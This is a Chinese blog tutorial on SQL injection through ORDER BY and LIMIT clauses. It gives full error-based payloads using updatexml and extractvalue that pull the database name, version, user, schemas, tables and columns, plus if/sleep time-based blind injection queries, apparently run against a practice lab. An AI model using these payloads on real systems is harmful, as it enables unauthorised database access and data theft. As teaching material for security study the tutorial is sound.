当前位置:网站首页>order by注入与limit注入
order by注入与limit注入
2022-08-10 03:26:00 【橙栎】
order by
什么是order by?
在数据库中,order by的作用是对数据表中查询的数据进行排序的方式。
正常情况下我们去查询一个数据库的时候,它显示的顺序可能是根据插入的数据来进行排序的,所以可以通过order by进行排序,方便查看
select * from 表名 order by 列名(数字) asc;(升序的)
select * from 表名 order by 列名(数字) desc;(降序的)
举个例子:
正常情况下,用户表的排名是这样的
当我们使用命令 select * from users order by username asc;
的时候,是将users这张表按照username这一列进行升序,结果就变成了;可以看到username那一列是按照字母从小到大的方式进行排序。
而使用降序命令的时候,它就变成了从s开始逐渐变小。
order by注入可以指可控的位置在order by子句后
order by注入与报错注入
1.获取当前的数据库:
select * from users order by id and(updatexml(1,concat(0x7e,(select database()),0x7e),1));
2.获取数据库的版本
select * from users order by id and(updatexml(1,concat(0x7e,(select version()),0x7e),1));
3.获取用户
select * from users order by id and(updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.获取数据库个数
select * from users order by id and(updatexml(1,concat(0x7e,(select count(*) from information_schema.schemata)),0));
5.获取数据库列表信息
这里结合了limit来进行逐条获取,可以更加方便的观察。
select * from users order by id and(updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),0));
select * from users order by id and(updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1),0x7e),0));
select * from users order by id and(updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1),0x7e),0));
select * from users order by id and(updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 4,1),0x7e),0));
6.获取表的名字
select * from users order by id and(updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = "security" limit 0,1),0x7e),0));
select * from users order by id and(updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = "security" limit 1,1),0x7e),0));
select * from users order by id and(updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = "security" limit 2,1),0x7e),0));
select * from users order by id and(updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = "security" limit 3,1),0x7e),0));
7.获取字段名字
select * from users order by id and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = "security" and table_name = "users"),0x7e),0));
这里使用的就不是limit来进行一个字段一个字段的输入了,而是使用了group_concat来进行输出,但是这个有意个条件就是每次只可以显示处32个字符,也就是说超过32个字符之后就会被截掉。
因为咱这个字符长度没有超过32个,所以就不会被阶段。如果字段太多了还是建议使用limit来一个一个的输出。
order by与盲注
基于if的时间盲注
这个就是判段的返回值是true还是false,如果是true的话,就正常时间内就会会显;如果是false的话,则会延长一段时间。
但是要注意的是,你所设置的sleep的时间并不是绝对的就是你设置数字的时间,如果一个表内的数据太多,那么他可能是你sleep设置时间和条数的乘积。
select * from ha order by if(1=1,1,sleep(1));
上面这种情况就是为真的时候,所以是正常时间回显
select * from ha order by if(1=2,1,sleep(1));
这里返回的结果就是flase,所以他会有一个延迟的关系。
在我们进行查询的时候,可以先使用 order by=(数字)来进行一个查询,这样就可以查看出他是有多少列的。
limit注入
limit的使用语法是:
LIMIT[位置偏移量,]行数;这里的中括号里的数据是可以修改的参数,也就是指的是从哪一行开始显示,并且他的开始值是0,也就是第一条记录对应的索引数是0,第二条记录对应的索引数是1…;后面的行数就是返回记录的条数,一般情况下都是写的1.
limit与order by的结合
正常情况下与order by结合在一起的写法:
select * from users where id > 0 order by id limit 1,1;
limit后面的参数
在limit后面是可以跟着两个参数的,分别是procedure和into。
但是into除非有写入shell的权限,否则是不可以使用的。
select * from users order by id limit 0,1 procedure analyse(extractvalue(1,concat(version())));
可能在输入的时候这个是存在报错的,这是因为这种方式是适用于低于mysql5.5的版本中,但是因为我这个mysql的版本是5.7.26的,他已经不支持了,所以不能运行。
边栏推荐
- Difference between netstat and ss command
- ...spread、命名空间、假报错、变化事件、async/await
- proxy代理服务
- uniapp 路由与页面跳转
- 二维空间下的向量旋转
- 数据库设计中反映用户对数据要求的模式叫什么
- Did not detect default resource location for test class xxxx
- flutter 创建可增型列表和列表排序
- Take you to an in-depth understanding of the version update of 3.4.2, what does it bring to users?
- 互联网公司高频面试题精讲:测试计划和测试方案有什么区别?
猜你喜欢
实测办公场景下,国产远程控制软件的表现力如何?(技术解析)
WPF 实现更换主题色
一篇文章教你Pytest快速入门和基础讲解,一定要看
Take you to an in-depth understanding of the version update of 3.4.2, what does it bring to users?
使用curl指令发起websocket请求
一文教会你快速上手 Vim
NFG电商系统在元宇宙趋势下做什么?
《天才基本法》:平行时空的第二次选择,小演员的表现意外出圈
Dijkstra求最短路
Evaluation and Construction of Enterprise Network Security Capability from the Sliding Ruler Model
随机推荐
leetcode 283:移动零
电子产品结构设计中的电磁兼容性(EMC)设计
软件测试这些基本类型你知道吗?
树的介绍、树的定义和基本术语、二叉树的定义和性质、二叉树的顺序表示与实现和链式表示与实现以及树的遍历方法以及两种创建方式
使用 requestAnimationFrame 提升 web 性能
Evaluation and Construction of Enterprise Network Security Capability from the Sliding Ruler Model
PC摄像头设置 默认摄像头设置 win11 默认摄像头设置
实测办公场景下,国产远程控制软件的表现力如何?(技术解析)
goland json.Marshal导致&变成\u0026
数据库学习真难,头大,有偿提问
mysqldump和XBK备份
【每日一题】大佬们进来看看吧
暑假第三周总结博客 - 五种传值方式
如何快速成为一名软件测试工程师?测试员月薪15k需要什么技术?
获取属性特性几种方法
BFF避坑指南
leetcode-218.天际线问题
golang go get 时提示 no Go files in xxx
带你深入理解3.4.2的版本更新,对用户带来了什么?
mediaserver创建